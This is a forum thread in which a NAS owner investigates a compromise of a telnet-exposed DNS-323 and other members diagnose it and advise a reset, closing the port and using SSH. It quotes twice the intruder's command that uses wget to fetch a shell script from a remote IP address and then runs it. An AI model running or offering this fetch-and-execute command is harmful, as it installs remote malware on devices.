Unfortunately no one can be told what fun_plug is - you have to see it for yourself.
You are not logged in.
Hello Everybody.
My DNS lately starts to behaving very strange. Basically it tries to connect to every ip address. Luckily my router is doing his job and stops that traffic but it hurts performance of internet on every other hardware at home. I suppose that there is some malware on dns and even tried to restore to factory default settings, but there is no difference. In attachment printscreen of router logs (192.168.0.102 is my dns).
PS. I am using funplug and transmission, if it makes any difference.
Offline
Stop Transmission and see if the internet traffic stops. If not, stop all running services one at a time until you locate the one causing the issue.
Offline
I´m not sure this is transmission. If I look at the attachment it seems to walk a subnet (ip address counts down...).
Im not sure what this is though.
Offline
Easy enough to find out which service it is. Just shut them down one at a time.
Offline
rsd76 wrote:
I´m not sure this is transmission. If I look at the attachment it seems to walk a subnet (ip address counts down...).
Im not sure what this is though.
It sure looks like some sort of scan. What's the output from ps?
Offline
scaramanga wrote:
rsd76 wrote:
I´m not sure this is transmission. If I look at the attachment it seems to walk a subnet (ip address counts down...).
Im not sure what this is though.It sure looks like some sort of scan. What's the output from ps?
Hello
Yesterday and today i've tried to work at my problem but due to lack of time it is very hard.
Nevertheless i've spotted something strange. Normaly "ps" returns quite ordinary list but today it listed something like this:
/ # ps
PID USER COMMAND
1 root init
2 root [ksoftirqd/0]
3 root [events/0]
4 root [khelper]
5 root [kthread]
11 root [kblockd/0]
14 root [khubd]
49 root [pdflush]
50 root [pdflush]
52 root [aio/0]
189 root [scsi_eh_0]
190 root [scsi_eh_1]
51 root [kswapd0]
200 root [mtdblockd]
217 root [kcryptd/0]
218 root [kmirrord/0]
227 root [loop0]
595 root /sbin/udhcpc -i egiga0 -H DNS-323 -p /var/run/udhcpc.pid -s /usr
1098 root smbd -D
1100 root nmbd -D
1108 root smbd -D
1144 root xmldb -n config
1383 root chkbutton
1419 root op_server 3 3 3
1433 root mDNSResponder
1434 root mDNSResponder
1436 root -/bin/sh
1440 root mDNSResponder
1527 root lpd Waiting
1534 nobody smbd -D
1544 root mserver
1545 root apkg
1563 root /web/webs
1586 root crond
1597 root atd
1702 root /ffp/sbin/telnetd -l /ffp/bin/sh
1741 root pure-ftpd (SERVER)
1742 root /ffp/bin/sh
1754 root /ffp/bin/sh
1785 root /ffp/bin/sh
1786 root [sh]
1809 root /var/run/httpd_a
1810 root /var/run/httpd_a
8769 root fancontrol 0
9034 root [sh]
9160 root /var/run/httpd_a
9447 root /var/run/httpd_a
9578 root /var/run/httpd_a
11371 root /ffp/bin/sh
11500 root /var/run/httpd_a
11501 root /var/run/httpd_a
11502 root /var/run/httpd_a
11503 root /var/run/httpd_a
11504 root /var/run/httpd_a
11505 root /var/run/httpd_a
11506 root /var/run/httpd_a
11507 root /var/run/httpd_a
11508 root /var/run/httpd_a
11509 root /var/run/httpd_a
11510 root /var/run/httpd_a
11511 root /var/run/httpd_a
11512 root /var/run/httpd_a
11513 root /var/run/httpd_a
11514 root /var/run/httpd_a
11515 root /var/run/httpd_a
11516 root /var/run/httpd_a
11517 root /var/run/httpd_a
11518 root /var/run/httpd_a
11519 root /var/run/httpd_a
11520 root /var/run/httpd_a
11521 root /var/run/httpd_a
11522 root /var/run/httpd_a
11523 root /var/run/httpd_a
11524 root /var/run/httpd_a
11525 root /var/run/httpd_a
11526 root /var/run/httpd_a
11527 root /var/run/httpd_a
11528 root /var/run/httpd_a
11529 root /var/run/httpd_a
11530 root /var/run/httpd_a
11531 root /var/run/httpd_a
11532 root /var/run/httpd_a
11533 root /var/run/httpd_a
11534 root /var/run/httpd_a
11535 root /var/run/httpd_a
11536 root /var/run/httpd_a
11537 root /var/run/httpd_a
11538 root /var/run/httpd_a
11539 root /var/run/httpd_a
11540 root /var/run/httpd_a
11541 root /var/run/httpd_a
11542 root /var/run/httpd_a
11543 root /var/run/httpd_a
11544 root /var/run/httpd_a
11545 root /var/run/httpd_a
11546 root /var/run/httpd_a
11547 root /var/run/httpd_a
11548 root /var/run/httpd_a
11549 root /var/run/httpd_a
11550 root /var/run/httpd_a
11551 root /var/run/httpd_a
11552 root /var/run/httpd_a
11553 root /var/run/httpd_a
11554 root /var/run/httpd_a
11555 root /var/run/httpd_a
11556 root /var/run/httpd_a
11557 root /var/run/httpd_a
11558 root /var/run/httpd_a
11559 root /var/run/httpd_a
11560 root /var/run/httpd_a
11561 root /var/run/httpd_a
11562 root /var/run/httpd_a
11563 root /var/run/httpd_a
11564 root /var/run/httpd_a
11565 root /var/run/httpd_a
11566 root /var/run/httpd_a
11567 root /var/run/httpd_a
11568 root /var/run/httpd_a
11569 root /var/run/httpd_a
11570 root /var/run/httpd_a
11571 root /var/run/httpd_a
11572 root /var/run/httpd_a
11573 root /var/run/httpd_a
11574 root /var/run/httpd_a
11575 root /var/run/httpd_a
11576 root /var/run/httpd_a
11577 root /var/run/httpd_a
11578 root /var/run/httpd_a
11579 root /var/run/httpd_a
11580 root /var/run/httpd_a
11581 root /var/run/httpd_a
11582 root ps
11583 root /var/run/httpd_a
Additionally I've left telnet console open and went shopping. When I have come back I accidentally hit up arrow and on the screen saw something like this:
/ # rm -rf /var/run/getbinaries.sh && wget -c http://164.40.154.19//getbinaries.
sh -P /var/run && sh /var/run/getbinaries.sh &
Since i am structural engineer and not an IT guy, please can anybody explain it to me what the hell is going on ???
PS. Right now I've turned off forwarding of port 23 so that noone could connect with my NAS remotely.
PS 2. English is not my native language so please forgive me any linguistic errors.
Offline
I think you've been hacked.
That last line you added does the following:
1. It deletes the file: /var/run/getbinaries.sh
2. It then downloads a file by that name to the same location (step 1 seems to do the cleanup).
3. Runs that file that was just downloaded.
I imagine that it generates all those invocations of /var/run/httpd_a which generate all that traffic you're seeing.
It would be very cool if you could open that /var/run/getbinaries.sh file and post its content.
Other than that, I suggest you delete it and reboot. Additionally, I'd run the following commands to make sure there's nothing that will execute that file:
To search the root file system. What they do is find all regular files with execute permission and searches within them for the string "getbinaries" and outputs those file names + matches it finds.
find / -xdev -type f -perm +111 -exec grep -H getbinaries {} \;
To search the ffp directory (it you installed it elsewhere, make the necessary changes:
find /mnt/HD_a2/ffp -xdev -type f -perm +111 -exec grep -H getbinaries {} \;
Last edited by scaramanga (2012-10-17 02:47:45)
Offline
It looks to me that someone logged into your system via telnet and ran a script that started all those processes. You said that you stopped forwarding port 23, implying that you were forwarding it at some point. Someone found port 23 open at your IP and started a telnet session.
Pressing the up arrow recalled the command from the command history file that is apparently shared between telnet sessions.
# rm -rf /var/run/getbinaries.sh &&
wget -c http://164.40.154.19//getbinaries.sh -P /var/run &&
sh /var/run/getbinaries.sh &
The above command sequence:
- removes any existing "getbinaries.sh" file
- downloads getbinaries.sh from the above URL and puts it in /var/run
- executes the shell script
You might look in /var/run to see if the script is still there to see what it tried to do. It was not still at the above URL when I looked. Having that script will be useful for figuring out what it did, but I bet the script erased itself after running.
Rebooting the DNS might be sufficient to get rid of it. Reinstalling ffp would be a good idea.
I'd be surprised if this script affected your system in such a way that it still behaves this way after a reboot, reinstall of ffp, and a factory reset. The script would have to be pretty sophisticated and DNS-323-specific to actually alter the firmware. I'm not sure if "script kiddies" would bother writing malware that is that 323-specific.
It is possible that after a factory reset, things were OK for awhile, but leaving the telnet port open like that caused the intruder to visit again after awhile and run the script again. This might give the appearance of a permanent modification of the firmware by the script, but I would expect it to take at least a few minutes to get infected again.
I would do a factory reset and check to see if those http_a processes are running after rebooting with NO ports forwarded to your DNS. If not, you're probably OK, but you'll have to be more careful about opening ports. (Use SSH instead with passwords or keys, for example)
If the processes are still there after a factory reset, then hopefully someone here can say if it is possible to repair the firmware. I'm not an expert on that.
It would be good to know if the problem is still there or not after a factory reset before diagnosing further. If the /var/run/getbinaries.sh file is still on your system, then posting that will help.
Offline
scaramanga wrote:
Other than that, I suggest you delete it and reboot. Additionally, I'd run the following commands to make sure there's nothing that will execute that file:
To search the root file system. What they do is find all regular files with execute permission and searches within them for the string "getbinaries" and outputs those file names + matches it finds.Code:
find / -xdev -type f -perm +111 -exec grep -H getbinaries {} \;To search the ffp directory (it you installed it elsewhere, make the necessary changes:
Code:
find /mnt/HD_a2/ffp -xdev -type f -perm +111 -exec grep -H getbinaries {} \;
/var/run (and all of /var for that matter) is in the root filesystem that is stored in ramdisk, right? So rebooting should totally clear out the contents of /var/run, including the getbinaries.sh script and the http_a binary.
So, I don't think that deleting anything from /var/run will be useful, since a reboot will delete it anyway. Also, I think that you can do "sh <file>" without making <file> executable.
My guess is that this hack was a fairly generic script that was meant to work on most linux-based systems. The "httpd_a" is probably a version of httpd compiled for ARM (hence the "_a"). The payload probably contained an x86 version of httpd in case the target machine was x86. And other than this effort to attack both x86 and ARM machines, I doubt that the script was savvy enough to write something into /ffp, where it would be persistent.
If reboot does not clear it up, the script may be smart enough to attack an ffp install, where it could add an executable script to /ffp/start to cause the unwanted things to start at each boot. This script could be named anything.sh and would have to be marked executable. But again, this would require a script that was designed to attack an ffp install.
Again, the OP needs to secure the port and see if the machine is still infected.
Offline
So, I don't think that deleting anything from /var/run will be useful, since a reboot will delete it anyway. Also, I think that you can do "sh <file>" without making <file> executable.
Just a note on that last comment. Yes you can run a script by using "sh <file>" without making is executable.
This is like most interpreters work (eq. perl/shell/python/...).
In this case you tell the sh command to run the contents of the script and not the script self...
Offline
rsd76 wrote:
So, I don't think that deleting anything from /var/run will be useful, since a reboot will delete it anyway. Also, I think that you can do "sh <file>" without making <file> executable.
Just a note on that last comment. Yes you can run a script by using "sh <file>" without making is executable.
This is like most interpreters work (eq. perl/shell/python/...).
In this case you tell the sh command to run the contents of the script and not the script self...
You're absolutely right. I missed that. He *should* run those commads without the -perm +111 part, like so:
find / -xdev -type f -exec grep -H getbinaries {} \;
Offline
After shutting down port 23 and restoring one more time DNS to "factory default settings" for the past three days there have not been any problems.
Thank you very much for all your help.
Offline